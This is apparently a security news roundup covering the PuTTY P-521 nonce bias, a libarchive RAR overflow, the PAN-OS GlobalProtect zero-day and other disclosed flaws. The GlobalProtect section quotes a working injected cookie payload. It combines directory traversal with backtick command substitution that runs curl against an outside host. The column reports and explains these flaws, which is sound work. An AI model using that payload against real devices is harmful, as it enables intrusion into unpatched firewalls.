It may be time to rotate some keys. The venerable PuTTY was updated to 0.81 this week, and the major fix was a change to how ecdsa-sha2-nistp521 signatures are generated. The problem was reported on the oss-security mailing list, and it’s quite serious, though thankfully with a somewhat narrow coverage.

The PuTTY page on the vulnerability has the full details. To understand what’s going on, we need to briefly cover ECDSA, nonces, and elliptic curve crypto. All cryptography depends on one-way functions. In the case of RSA, it’s multiplying large primes together. The multiplication is easy, but given just the final result, it’s extremely difficult to find the two factors. DSA uses a similar problem, the discrete logarithm problem: raising a number to a given exponent, then doing modulo division.

Yet another cryptography primitive is the elliptic curve, which uses point multiplication as the one-way function. I’ve described it as a mathematical pinball, bouncing around inside the curve. It’s reasonably easy to compute the final point, but essentially impossible to trace the path back to the origin. Formally this is the Elliptic Curve Discrete Logarithm Problem, and it’s not considered to be quantum-resistant, either.

One of the complete schemes is ECDSA, which combines the DSA scheme with Elliptic Curves. Part of this calculation uses a nonce, denoted “k”, a number that is only used once. In ECDSA, k must be kept secret, and any repetition of different messages with the same nonce can lead to rapid exposure of the secret key.

And now we get to PuTTY, which was written for Windows back before that OS had any good cryptographic randomness routines. As we’ve already mentioned, re-use of k, the nonce, is disastrous for DSA. So, PuTTY did something clever, and took the private key and the contents of the message to be signed, hashed those values together using SHA-512, then used modulo division to reduce the bit-length to what was needed for the given k value. The problem is the 521-bit ECDSA, which takes a 521-bit k. That’s even shorter than the output of a SHA-512, so the resulting k value always started with nine 0 bits.

You’d be forgiven for thinking that’s not enough to impact security, but the latest techniques mean that with the public key and about 60 valid signatures, the private key can be deduced. And this isn’t just PuTTY that’s impacted, since a few other Windows applications re-use the PuTTY code, like FileZilla, WinSCP and TortoiseGit/SVN. On the other hand, the break does require access to the public key, which isn’t readily available to a Man-in-the-Middle (MitM) attacker. The real danger is that using one of these ecdsa-sha2-nistp521 keys to repeatedly log in to a compromised server would compromise the private key to a malicious actor on that server.

PuTTY 0.81, FileZilla 3.67.0, WinSCP 6.3.3 and TortoiseGit 2.15.0.1 are the updated versions, with TortoiseSVN coming soon. At this point, any ecdsa-sha2-nistp521 key on a Windows machine should probably get revoked and recycled.

Quantum Enters the Chat

There are a few cryptography schemes that are considered to be quantum safe, most notably the new Kyber and Dilithium approaches, both employing one-way problems based on lattices. There’s a brand new paper by [Yilei Chen] that’s in pre-print, that suggests a way to use quantum computing to solve the “Shortest Independent Vector Problem”. Now let’s be clear, this paper does not claim to break Kyber or Dilithium, even with a theoretical quantum computer. But what it does claim is to present a quantum algorithm that applies to a similar problem space. And that’s enough to make the world’s cryptographers a bit nervous.

Libarchive Says Rar!

The setup for this one is that Windows includes Libarchive for extracting various archive types, including .rar files. These files are split up into blocks, with each block beginning with a header listing out the type and size of each block. Decompression is interesting, with the routine running a very simple VM to loop through the archive.

The problem is that when a block length is set to 4, libarchive can be convinced to subtract 5, and overflow the loop counter to MAX_INT. And that means out-of-bounds writes, with the potential for arbitrary remote code execution. This vulnerability was patched in January, so most of us should already have it, but now that there’s a thorough write-up, expect malicious rar files to show up in spam emails near you.

GlobalProtect

Researchers at Volexity shared their findings last week, of a threat actor using a 0-day vulnerability in Palo Alto PAN-OS. And one of the first observations we can make is that this is an outstanding job from Volexity and Palo Alto, in finding the first sign of compromise on April 10, and publishing advisories and a partial mitigation on the 12th, with the first hotfixes getting pushed on the 14th.

Now that we know what to look for, it turns out that the first signs of use were back on March 26, where the vulnerability was used to simply touch a file location. While that’s not a lot of time for widespread exploitation, it is enough that pretty much every PAN-OS device should now be regarded with suspicion.

As for the exploit details, the folks at watchTowr have us covered. The first juicy observation is that connecting to the device with a SESSID cookie set, will create an empty file on the device with that name, without appropriate sanitization or directory traversal. What’s really interesting is that when telemetry is enabled, this file is uploaded using curl, with the full file name getting called as part of the command. Was it possible to use only valid filenames to escape that command and run arbitrary commands? Why yes, yes it was. Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}x1.outboundhost.com`;

Now that exact attack chain requires telemetry to be enabled, and turning that off was one of the early mitigation steps listed. Turns out there are other ways to turn this underlying bug into an exploit, though those haven’t been shared publicly that I’ve seen.

Project Zero is Back

It’s been quite a while since we’ve heard anything from Google’s Project Zero, but that’s apparently because they’ve been working on big projects. Like, in this case, auditing the Windows NT kernel’s handling of registry data. That effort has managed to find 50 separate CVEs, as well as a few issues that didn’t quite pass muster as vulnerabilities. Look forward to some in-detail coverage to come on these issues.

Bits and Bytes

Two very nice write-ups came out this week, one from Rhino Security Labs about a pair of issues in the Kemp LoadMaster load balancer. There, a Cross-Site Request Forgery (CSRF) issue could be chained with an authenticated command injection issue to take over the appliance. The second is from [Johnny Yu] about a hard-coded key in the Delinea Secret Server, that allows spoofing API Tokens. The worst part about the Delinea issue is that the company refused to open a case, since the researcher wasn’t a paying customer. Eek. Now that the vulnerability is public, it’s finally getting addressed.

The Element Android app had an issue where an intent launched from an external application could include an EXTRA_NEXT_INTENT, which would launch internal-only intents, bypassing the normal security layer. This allowed a few nasty tricks, like launching an arbitrary web page inside the Element app.

[Adnan Khan] is working on a tool to scan Github Actions for vulnerable triggers, with an emphasis on self-hosted runners. That tool found a nice credential leak in Google’s Flank project on Github, and netted [Adnan] a cool $7,500. Watch this space for an Open-Sourced release of the tool.